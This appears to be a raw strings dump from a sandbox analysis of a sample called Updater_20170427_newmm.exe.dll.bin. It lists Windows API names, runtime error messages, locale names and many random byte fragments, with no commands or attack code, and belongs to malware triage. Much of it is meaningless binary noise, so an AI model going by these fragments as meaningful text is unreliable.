Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
connection already in progress
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
connection refused
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
connection reset
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
connection_aborted
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
connection_already_in_progress
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
connection_refused
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
connection_reset
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CONOUT$
Unicode based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
console device
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Copyright (c) 1992-2004 by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
coree.dll
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CorExitProcess
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Correct password required
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
costa rica
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Couldn't create/open file
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CoUninitialize
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CQ"@?;8%{D
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
cqO[an5J
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CrCO/JFk!|
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CreateDirectoryW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CreateEventExW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CreateFile2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CreateFileW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CreateProcessW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CreateSemaphoreExW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CreateSymbolicLinkW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CreateThreadpoolTimer
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CreateThreadpoolWait
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
cross device link
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ction=%s.install.init
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ctiveWindow
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Culdn't duplicate handle
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
CuVAa
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
cvYRip=V=
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
cX%xRL{6m
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
C{PX~/m9W
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
C~ZR;)
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
D",cyNMp0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
d2UJ^ZkY2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
d32z:ckZ&
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
d9l^=n63N
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
D@'.9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
D[VUTCVETSFU
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
d_`vV
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
d_SWM4|?+
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
data error
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
dbog-?4j;G
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
dddd, MMMM dd, yyyy
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
de-AT
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
December
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
DecodePointer
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
DeleteCriticalSection
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
DeleteFileW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
deque<T> too long
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
destination address required
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
destination_address_required
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
device or resource busy
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
DeviceIoControl
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
DG9y?
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
DHVAq]M(|
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
directory not empty
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
DisableThreadLibraryCalls
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
DjK{eFDt"$
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
dK/O[~/%3x7
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Do9ad*~V\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
DOMAIN error
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
dominican republic
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
double out of Int range
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
double out of Int64 range
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
double out of UInt range
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
double out of UInt64 range
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Du3v;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
dutch-belgian
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
dV#1>8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
dY507W4U_
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
dz17 123<1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
dzObO
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e TD1-,fc
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
E(m.]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e*&3):q.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
E*n!#{Wl?0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e+000
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e-singapore
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
E1O@EB$kQ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e31RR9*8SK~%d|$
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e5ltD6aI
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
E<u/1^LW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e=Zqndo!Y
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
E\Nv.M# _+l
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
E^2tB)pr
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
e`-n_[
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
E`PK1{@+O
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
eCaller: can only get memory of a memory zipfile
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
edc&+/&l%*
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ee%$-K>
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
EfgQ@#@"Y
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
eFkP6/T9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
EHQ;AhtMj
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
eIS-ra2QGsx
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ejHEA`/=]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
EJ{F3hk,O,9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Ek+lGr-YY"
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
el#`-D4O
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
el"}.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ElBT7J2*RG"
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
empty distance tree with lengths
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Empty escape sequence in string
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
en-PH
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
en-TT
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
EncodePointer
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-american
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-aus
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-belize
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-can
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-caribbean
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-ire
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-jamaica
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-nz
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-south africa
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-trinidad y tobago
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-uk
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-us
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
english-usa
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
EnterCriticalSection
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
EnumSystemLocalesEx
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
EnumSystemLocalesW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
eoQ&f?PS6
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
erica
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
erican
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Error reading file
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Error writing to file
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
erwe{
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
es-CO
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
es-DO
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
es-EC
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
es-ES
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
es-NI
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
es-PA
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
es-PE
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
es-SV
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
es-VE
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
esday
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ese-hongkong
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
EtPd1`79.0$}v
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ev4R;=m)}
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
executable format error
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ExitProcess
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
exp10
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
expecting another \u token to begin the second half of a unicode surrogate pair
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
ezd%8 T|5
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
eZQ`6a=:2W
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F:nC?n'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
fD#C>
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f#ADG,R.;nTs
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f#t'p7TQj
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f']W[1N
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F) ~c,xzMD
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F*2cs<US;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F-16LE
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F.oL3>~'o)u
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f/um.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f8y0r;|Pz
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f9]x<@tNF
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f:jtLSmA
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F?FCALA"H
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f?u2iA,'/1K
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f@/*8Eb@O
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F@kb:'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F]+xb
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
F_to5BXK"86:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f`Z_%hsj,
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
fa&A;qVsN0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Failed to allocate memory
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Failed to allocate string value buffer
Ansi based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
false
Ansi based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
fE3t!ku<
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
fe;k^m<X
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
February
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
file error
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
file exists
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
File not found in the zipfile
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
file too large
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
filename too long
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
filename_too_long
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FindClose
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FindFirstFileW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FindNextFileW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FindResourceW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FiU(\J><>
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
fks8#
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
floor
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FlsAlloc
Ansi based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
FlsFree
Ansi based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
FlsGetValue
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FlsSetValue
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FlushFileBuffers
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FlushProcessWriteBuffers
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
fo-FO
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
fp/Wn
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
fqz,#c"vc
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Fr43GDkx6>c
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FreeEnvironmentStringsW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FreeLibraryWhenCallbackReturns
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FreeResource
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
french-belgian
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
french-canadian
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
french-luxembourg
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
french-swiss
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
frexp
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Friday
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
fRrc`fnk~
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
fr|tGs+?f
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FTN(`:Hrh
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
function not supported
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Fvjk^|7mJ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
fWu{v
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
FXh6~4E6_xF
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
f}fzE&A[u
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
g:&0mI}C+_fL
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GBSbcfOhZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
G#.E2mI*
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
G!j"B_H!,:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
g-%ORX:}em
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
g/>8B8lQ*
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
g19#d0dlds)Lv
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
G;TI!1\6
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
G[1{& o4a
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
g^^qt67pt7(!
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
g^wRO#8L>
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GBH63jB
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GBk%>>l14,v
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
german-austrian
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
german-lichtenstein
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
german-luxembourg
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
german-swiss
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetACP
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetActiveWindow
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetCommandLineA
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetConsoleCP
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetConsoleMode
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetCPInfo
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetCurrentDirectoryW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetCurrentPackageId
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetCurrentProcess
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetCurrentProcessId
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetCurrentProcessorNumber
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetCurrentThreadId
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetDateFormatEx
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetEnvironmentStringsW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetEnvironmentVariableW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetFileAttributesW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetFileInformationByHandleExW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetFileType
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetLastActivePopup
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetLastError
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetLocaleInfoEx
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetLocaleInfoW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetLogicalProcessorInformation
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetModuleFileNameA
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetModuleFileNameW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetModuleHandleExW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetModuleHandleW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetOEMCP
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetProcAddress
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetProcessHeap
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetProcessWindowStation
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetStartupInfoW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetStdHandle
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetStringTypeW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetSystemTimeAsFileTime
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetTempFileNameW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetTickCount64
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetTimeFormatEx
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetUserDefaultLCID
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetUserDefaultLocaleName
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetUserObjectInformationW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GetVolumeInformationW
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GHi>"##0*
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
gI@X|jSm9
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
gland
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
glish-us
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GlN`/>m|4Zf
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GlobalAlloc
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
GlobalFree
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
gO`]_xo4N
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
great britain
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
gY}.}VL~
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
hWYcHab
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
hEIbIZe
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
hg>76^L
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Hm#nU{PN
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h$-T,a
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h$@ssJc6b!
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h-chile
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h-colombia
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h-peru
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h-usa
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h/;A)7H?Z
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
H/Ss%h5+ d
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
H025412wb
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
H0ihnh@$d
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
H1`r)oef'e
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h6./Q6MTu
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h6~Yx7bhZ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h:3aTb`"c$
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h<Of{
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
H>7?NUms=
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
hcY>R9s9S
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
HDPUg<N}
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
HeapAlloc
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
HeapFree
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
HeapReAlloc
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
HeapSize
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
hEz6Pu[ek
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
HH:mm:ss
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Hh|v9Cp O_
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
HK:lJTC":NyG
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
hong-kong
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
host unreachable
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
host_unreachable
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
hq#12M='0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
hQaSP
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
HSI-rTQJ_
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
Ht#jXj8E
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
HtRjXjf9E
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h{o;nf
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
h|Dv\->s>
